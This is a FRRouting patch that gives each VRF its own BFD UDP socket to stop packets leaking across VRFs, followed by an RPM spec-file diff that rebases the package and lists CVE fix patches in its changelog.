Subject: [PATCH] bfdd: allow l3vrf bfd sessions without udp leaking
Until now, when in vrf-lite mode, the BFD implementation
creates a single UDP socket and relies on the following
sysctl value to 1:
echo 1 > /proc/sys/net/ipv4/udp_l3mdev_accept
With this setting, the incoming BFD packets from a given
vrf, would leak to the default vrf, and would match the
UDP socket.
The drawback of this solution is that udp packets received
on a given vrf may leak to an other vrf. This may be a
security concern.
The commit addresses this issue by avoiding this leak
mechanism. An UDP socket is created for each vrf, and each
socket uses new setsockopt option: SO_REUSEADDR + SO_REUSEPORT.
With this option, the incoming UDP packets are distributed on
the available sockets. The impact of those options with l3mdev
devices is unknown. It has been observed that this option is not
needed, until the default vrf sockets are created.
To ensure the BFD packets are correctly routed to the appropriate
socket, a BPF filter has been put in place and attached to the
sockets : SO_ATTACH_REUSEPORT_CBPF. This option adds a criterium
to force the packet to choose a given socket. If initial criteria
from the default distribution algorithm were not good, at least
two sockets would be available, and the CBPF would force the
selection to the same socket. This would come to the situation
where an incoming packet would be processed on a different vrf.
The bpf code is the following one:
struct sock_filter code[] = {
{ BPF_RET | BPF_K, 0, 0, 0 },
};
struct sock_fprog p = {
.len = sizeof(code)/sizeof(struct sock_filter),
.filter = code,
};
if (setsockopt(sd, SOL_SOCKET, SO_ATTACH_REUSEPORT_CBPF, &p, sizeof(p))) {
zlog_warn("unable to set SO_ATTACH_REUSEPORT_CBPF on socket: %s",
strerror(errno));
return -1;
}
Some tests have been done with by creating vrf contexts, and by using
the below vtysh configuration:
ip route 2.2.2.2/32 10.126.0.2
vrf vrf2
ip route 2.2.2.2/32 10.126.0.2
!
interface ntfp2
ip address 10.126.0.1/24
!
interface ntfp3 vrf vrf4
ip address 10.126.0.1/24
!
interface ntfp2 vrf vrf1
ip address 10.126.0.1/24
!
interface ntfp2.100 vrf vrf2
ip address 10.126.0.1/24
!
interface ntfp2.200 vrf vrf3
ip address 10.126.0.1/24
!
line vty
!
bfd
peer 10.126.0.2 vrf vrf2
!
peer 10.126.0.2 vrf vrf3
!
peer 10.126.0.2
!
peer 10.126.0.2 vrf vrf4
!
peer 2.2.2.2 multihop local-address 1.1.1.1
!
peer 2.2.2.2 multihop local-address 1.1.1.1 vrf vrf2
transmit-interval 1500
receive-interval 1500
!
The results showed no issue related to packets received by
the wrong vrf. Even changing the udp_l3mdev_accept flag to
1 did not change the test results.
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
---
bfdd/bfd.c | 66 +++++++++++++++++++++++------------------------
bfdd/bfd_packet.c | 45 ++++++++++++++++++++++++++++++++
2 files changed, 77 insertions(+), 34 deletions(-)
diff --git a/bfdd/bfd.c b/bfdd/bfd.c
index 483beb1b17c..a1619263588 100644
--- a/bfdd/bfd.c
+++ b/bfdd/bfd.c
@@ -1950,40 +1950,38 @@ static int bfd_vrf_enable(struct vrf *vrf)
if (bglobal.debug_zebra)
zlog_debug("VRF enable add %s id %u", vrf->name, vrf->vrf_id);
- if (vrf->vrf_id == VRF_DEFAULT ||
- vrf_get_backend() == VRF_BACKEND_NETNS) {
- if (!bvrf->bg_shop)
- bvrf->bg_shop = bp_udp_shop(vrf);
- if (!bvrf->bg_mhop)
- bvrf->bg_mhop = bp_udp_mhop(vrf);
- if (!bvrf->bg_shop6)
- bvrf->bg_shop6 = bp_udp6_shop(vrf);
- if (!bvrf->bg_mhop6)
- bvrf->bg_mhop6 = bp_udp6_mhop(vrf);
- if (!bvrf->bg_echo)
- bvrf->bg_echo = bp_echo_socket(vrf);
- if (!bvrf->bg_echov6)
- bvrf->bg_echov6 = bp_echov6_socket(vrf);
-
- if (!bvrf->bg_ev[0] && bvrf->bg_shop != -1)
- thread_add_read(master, bfd_recv_cb, bvrf,
- bvrf->bg_shop, &bvrf->bg_ev[0]);
- if (!bvrf->bg_ev[1] && bvrf->bg_mhop != -1)
- thread_add_read(master, bfd_recv_cb, bvrf,
- bvrf->bg_mhop, &bvrf->bg_ev[1]);
- if (!bvrf->bg_ev[2] && bvrf->bg_shop6 != -1)
- thread_add_read(master, bfd_recv_cb, bvrf,
- bvrf->bg_shop6, &bvrf->bg_ev[2]);
- if (!bvrf->bg_ev[3] && bvrf->bg_mhop6 != -1)
- thread_add_read(master, bfd_recv_cb, bvrf,
- bvrf->bg_mhop6, &bvrf->bg_ev[3]);
- if (!bvrf->bg_ev[4] && bvrf->bg_echo != -1)
- thread_add_read(master, bfd_recv_cb, bvrf,
- bvrf->bg_echo, &bvrf->bg_ev[4]);
- if (!bvrf->bg_ev[5] && bvrf->bg_echov6 != -1)
- thread_add_read(master, bfd_recv_cb, bvrf,
- bvrf->bg_echov6, &bvrf->bg_ev[5]);
- }
+ if (!bvrf->bg_shop)
+ bvrf->bg_shop = bp_udp_shop(vrf);
+ if (!bvrf->bg_mhop)
+ bvrf->bg_mhop = bp_udp_mhop(vrf);
+ if (!bvrf->bg_shop6)
+ bvrf->bg_shop6 = bp_udp6_shop(vrf);
+ if (!bvrf->bg_mhop6)
+ bvrf->bg_mhop6 = bp_udp6_mhop(vrf);
+ if (!bvrf->bg_echo)
+ bvrf->bg_echo = bp_echo_socket(vrf);
+ if (!bvrf->bg_echov6)
+ bvrf->bg_echov6 = bp_echov6_socket(vrf);
+
+ if (!bvrf->bg_ev[0] && bvrf->bg_shop != -1)
+ thread_add_read(master, bfd_recv_cb, bvrf, bvrf->bg_shop,
+ &bvrf->bg_ev[0]);
+ if (!bvrf->bg_ev[1] && bvrf->bg_mhop != -1)
+ thread_add_read(master, bfd_recv_cb, bvrf, bvrf->bg_mhop,
+ &bvrf->bg_ev[1]);
+ if (!bvrf->bg_ev[2] && bvrf->bg_shop6 != -1)
+ thread_add_read(master, bfd_recv_cb, bvrf, bvrf->bg_shop6,
+ &bvrf->bg_ev[2]);
+ if (!bvrf->bg_ev[3] && bvrf->bg_mhop6 != -1)
+ thread_add_read(master, bfd_recv_cb, bvrf, bvrf->bg_mhop6,
+ &bvrf->bg_ev[3]);
+ if (!bvrf->bg_ev[4] && bvrf->bg_echo != -1)
+ thread_add_read(master, bfd_recv_cb, bvrf, bvrf->bg_echo,
+ &bvrf->bg_ev[4]);
+ if (!bvrf->bg_ev[5] && bvrf->bg_echov6 != -1)
+ thread_add_read(master, bfd_recv_cb, bvrf, bvrf->bg_echov6,
+ &bvrf->bg_ev[5]);
+
if (vrf->vrf_id != VRF_DEFAULT) {
bfdd_zclient_register(vrf->vrf_id);
bfdd_sessions_enable_vrf(vrf);
diff --git a/bfdd/bfd_packet.c b/bfdd/bfd_packet.c
index d34d6427628..054a9bfbf21 100644
--- a/bfdd/bfd_packet.c
+++ b/bfdd/bfd_packet.c
@@ -876,6 +876,14 @@ void bfd_recv_cb(struct thread *t)
"no session found");
return;
}
+ /*
+ * We may have a situation where received packet is on wrong vrf
+ */
+ if (bfd && bfd->vrf && bfd->vrf != bvrf->vrf) {
+ cp_debug(is_mhop, &peer, &local, ifindex, vrfid,
+ "wrong vrfid.");
+ return;
+ }
/* Ensure that existing good sessions are not overridden. */
if (!cp->discrs.remote_discr && bfd->ses_state != PTM_BFD_DOWN &&
@@ -1208,10 +1216,41 @@ int bp_set_tos(int sd, uint8_t value)
return 0;
}
+static bool bp_set_reuse_addr(int sd)
+{
+ int one = 1;
+
+ if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) == -1) {
+ zlog_warn("set-reuse-addr: setsockopt(SO_REUSEADDR, %d): %s",
+ one, strerror(errno));
+ return false;
+ }
+ return true;
+}
+
+static bool bp_set_reuse_port(int sd)
+{
+ int one = 1;
+
+ if (setsockopt(sd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) == -1) {
+ zlog_warn("set-reuse-port: setsockopt(SO_REUSEPORT, %d): %s",
+ one, strerror(errno));
+ return false;
+ }
+ return true;
+}
+
+
static void bp_set_ipopts(int sd)
{
int rcvttl = BFD_RCV_TTL_VAL;
+ if (!bp_set_reuse_addr(sd))
+ zlog_fatal("set-reuse-addr: failed");
+
+ if (!bp_set_reuse_port(sd))
+ zlog_fatal("set-reuse-port: failed");
+
if (bp_set_ttl(sd, BFD_TTL_VAL) != 0)
zlog_fatal("set-ipopts: TTL configuration failed");
@@ -1453,6 +1492,12 @@ static void bp_set_ipv6opts(int sd)
int ipv6_pktinfo = BFD_IPV6_PKT_INFO_VAL;
int ipv6_only = BFD_IPV6_ONLY_VAL;
+ if (!bp_set_reuse_addr(sd))
+ zlog_fatal("set-reuse-addr: failed");
+
+ if (!bp_set_reuse_port(sd))
+ zlog_fatal("set-reuse-port: failed");
+
if (bp_set_ttlv6(sd, BFD_TTL_VAL) == -1)
zlog_fatal(
"set-ipv6opts: setsockopt(IPV6_UNICAST_HOPS, %d): %s",

35
SPECS/frr.spec
View File

@ -6,8 +6,8 @@
%bcond_without selinux
Name: frr
Version: 8.3.1
Release: 10%{?checkout}%{?dist}
Version: 8.5.3
Release: 4%{?checkout}%{?dist}
Summary: Routing daemon
License: GPLv2+
URL: http://www.frrouting.org
@ -67,14 +67,10 @@ Patch0000: 0000-remove-babeld-and-ldpd.patch
Patch0002: 0002-enable-openssl.patch
Patch0003: 0003-disable-eigrp-crypto.patch
Patch0004: 0004-fips-mode.patch
Patch0005: 0005-ospf-api.patch
Patch0006: 0006-graceful-restart.patch
Patch0007: 0007-cve-2022-37032.patch
Patch0008: 0008-frr-non-root-user.patch
Patch0009: 0009-CVE-2022-36440-40302.patch
Patch0010: 0010-CVE-2022-43681.patch
Patch0011: 0011-CVE-2022-40318.patch
Patch0012: 0012-bfd-not-working-in-vrf.patch
Patch0005: 0005-CVE-2023-47235.patch
Patch0006: 0006-CVE-2023-47234.patch
Patch0007: 0007-CVE-2023-46752.patch
Patch0008: 0008-CVE-2023-46753.patch
%description
FRRouting is free software that manages TCP/IP based routing protocols. It takes
@ -280,6 +276,25 @@ make check PYTHON=%{__python3}
%endif
%changelog
* Mon Feb 05 2024 Michal Ruprich <mruprich@redhat.com> - 8.5.3-4
- Resolves: RHEL-14825 - crafted BGP UPDATE message leading to a crash
* Mon Feb 05 2024 Michal Ruprich <mruprich@redhat.com> - 8.5.3-3
- Resolves: RHEL-14822 - mishandled malformed data leading to a crash
* Mon Dec 18 2023 Michal Ruprich <mruprich@redhat.com> - 8.5.3-2
- Resolves: RHEL-15915 - crash from specially crafted MP_UNREACH_NLRI-containing BGP UPDATE message
- Resolves: RHEL-15918 - crash from malformed EOR-containing BGP UPDATE message
* Thu Nov 23 2023 Michal Ruprich <mruprich@redhat.com> - 8.5.3-1
- Resolves: RHEL-15291 - Rebase FRR to version 8.5.3 in RHEL9
* Fri Oct 13 2023 Michal Ruprich <mruprich@redhat.com> - 8.3.1-12
- Resolves: RHEL-3541 - Incorrect handling of a error in parsing of an invalid section of a BGP update can de-peer a router
* Thu Sep 21 2023 Carlos Goncalves <cgoncalves@redhat.com> - 8.3.1-11
- Resolves: RHEL-2263 - bgpd: Do not explicitly print MAXTTL value for ebgp-multihop vty output
* Thu Aug 10 2023 Michal Ruprich <mruprich@redhat.com> - 8.3.1-10
- Related: #2216912 - adding sys_admin to capabilities